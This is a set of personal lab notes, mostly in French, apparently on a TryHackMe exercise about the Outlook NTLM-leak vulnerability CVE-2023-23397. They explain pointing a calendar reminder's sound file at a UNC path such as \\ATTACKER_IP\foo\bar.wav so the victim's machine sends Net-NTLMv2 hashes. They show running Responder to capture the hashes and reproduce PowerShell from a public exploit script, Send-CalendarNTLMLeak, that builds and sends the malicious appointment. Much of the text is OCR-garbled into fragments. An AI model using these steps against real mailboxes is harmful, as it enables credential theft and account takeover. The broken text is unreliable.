CVE-2023-23397 - Outlook NTLM Leak

lundi 25 aoQt 2025 19:36

Concerne toutes les versions d'outlook desktop app.
Cette CVE est une zéro clique exploit = pas besoin d'une interaction du user.
Once an infected email arrives in the user's inbox, the attacker can obtain sensitive Net-NTLMv2

credential hashes. Once malicious actors have those hashes, they can get a user's credentials,
authenticate to their system and escalate privileges.

On ouvre outlook :
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This is an email message sent automatically by

Junk Email
Outbox

RSS Feeds
Search Folders

Sur outlook on peut ajouter une sorte de notifications pour nous rappeller un RDV : ( On Outlook, it's
possible to add reminder notifications when sending calendar invitations) :
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This is an email message sent automatically by Microsoft Outlook while testing the settings for your account.



THM Appointment

Appointment
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This is just a regular appointment @l
Reminder Sound
Show the Reminder Sound dialog

On peut aussi choisir un son qui va se jouer quand le user recevra une notification.

Reminder Sound X

When a reminder comes due
[ Play this sound
reminder.wav Browse..,

Cancel

C'est ce paramétre qui est vulnérable.

Abusing Reminder Sounds via UNC Paths

L'exploit se déroule de cette maniere :

L'attaquant va envoyer un inclure dans le reminder un fichier audio qui contient une exploit.
L'attaquant va utiliser I'Universal Naming Convention (UNC) cad les \\ pour permettre a la victime de
récupérer cette audio via un partage fait par I'attaquant.

Cette exploit utilise deux paramétres :

PidLidReminderFileParameter qui va contenir la référence du son (donc le lien, le chemin)
Et

PidLidReminderOverride qu'on mettra en TRUE.

ON a donc un lien de ce type (pour un partage en SMB)

\\ATTACKER_IP\foo\bar.wav

Pour un partage autre que SMB (si ¢a ne fonctionne pas), on peut utiliser le protocol
HTTP :(permettre de bypasser des firewalls parfois) :

\\ATTACKER IP@80\foo\son.wav

\\ATTACKER IP@443\foo\caca.wav

Quand la victime regoit le méchant mail, I'UNC utilise le chemin vers le partage ce qui va déclencher
la vulnérabilité. La systéme va ensuite commencer une authentification NTLM et I'attaquant va
pouvoir récupérer le hash qu'il va ensuite pouvoir cracker.

1. Send email with

WATTACKER_IF\foolbar.way

Reminder Sound
TATTACKER IPifooibar.wav

)
CAS PRATIQUE :

On va utiliser Responder ici :
Sur notre kali :

responder -1 ens5

Victiny's PC

CVE Page 2

a. Attacker captures
hash


file://ATTACKER_IP/foo/bar.wav
file://ATTACKER_IP@80/foo/son.wav
file://ATTACKER_IP@443/foo/caca.wav
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Save & Delete CopytoMy ¢
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Reminder Sound

When a reminder comes due
[] Pray this sound

10.10.10.1\nonexistent\sound.waf

Reminder Sound

When a reminder comes due
[/ Pray this sound

reminder,wav

1d click

Browse...

Cancel

by going

Browse..,

Cancel

ON peut utiliser le plugin OutlookSpy qui va nous permettre de d'avoir accés a tous les paramétre

interne d'outlook.

B S

File

THM appointment -

Appointment Insert Format Text Review

] IMAPIFolder @ IAddrBook

¥ [ProfAdmin

|| Application

Editor

7 Inspector & MsgStore

] WordEditor
Outiook Object Model
THM appointment pas

Currentitem IMessage

@

Script Extended MAPL

_App ntitem - THM app
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Ici on peut voir les parametres associés au rappel.

d with the

kBox and

ch parame

ReminderPlaySound: bc
ReminderOverrideDefault
ReminderSoundFile

ReminderSoundFile
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Access:

Appoint

both the ReminderOverrideDefault and ReminderPlaySound tc
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he remin

clienttoy



We canu
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ment

npt in your R nder console on your Attac

On peut aussi utiliser un script qui vient de ce git : https://github.com/apiOcradle
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https://github.com/api0cradle

e will look at the exploi iblished by

Jutle OM ob to bu

Iction creates a ma

Send-Calendar eak is functic ates a mal

will be sent from your Outlook’s current default account

Dissecting the Exploit's Code

will create an a milarly, n the Save-CalendarNTLMLeak only

will instantiate an "Outlook.Apg tion" object and create an appointment

$0utlook = New-Object -comObject Outlook.Application

rt and end

$newcal .Recipients.add($recipient)
$newcal .MeetingStatus = [Microsoft.O0ffice.Interop.Outlook.0lMeetingStatus olMeeting
$newcal.Subject = $meetingsubject
$newcal.location = "Virtual"
$newcal.Body = $meetingbody
$newcal.Start = get-date

$newcal.End = (get-date).AddHours(2)

The follc y additional parameters will be co 4 d to point ther inder's sound file to the attacker's s¢

explained

$newcal.ReminderSoundFile = $remotefilepath
$newcal.ReminderOverrideDefault = 1
$newcal.ReminderSet = 1

$newcal.ReminderPlaysound = 1

$newcal.send()
Using the Exploit

the Import-Module cmdlet. After that nction lable in your current

ralicious appointment, you car t run the

Powershell

‘oo\bar.wav" -meetingsubject "THM Meeting” -meetingbody "This is just a regular meeting invitation

x in the -remotefilepath parameter. Notice that you are using

Send-CalendarNTLMLeak -recipient "test@[Jlllll loc" -remotefilepath
"\\ATTACKER_IP\foo\bar.wav" -meetingsubject "[Jill Meeting" -
meetingbody "This is just a regular meeting invitation :)"
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file://ATTACKER_IP/foo/bar.wav

xinthe -remotefilepath para

permissi ript 5 S0 ur behalf. Make sure to press Allow 2

minutes” ed th S up:

Microsoft Outlook

A program is trying to access email address information
stored in Outlook. If this is unexpected, click Deny and
verify your antivirus software is up-to-date.

For more information about email safety and how you
might be able to avoid getting this warning, click Help

[C] Allow access for

Allow i ‘Q‘eny

FIN'!
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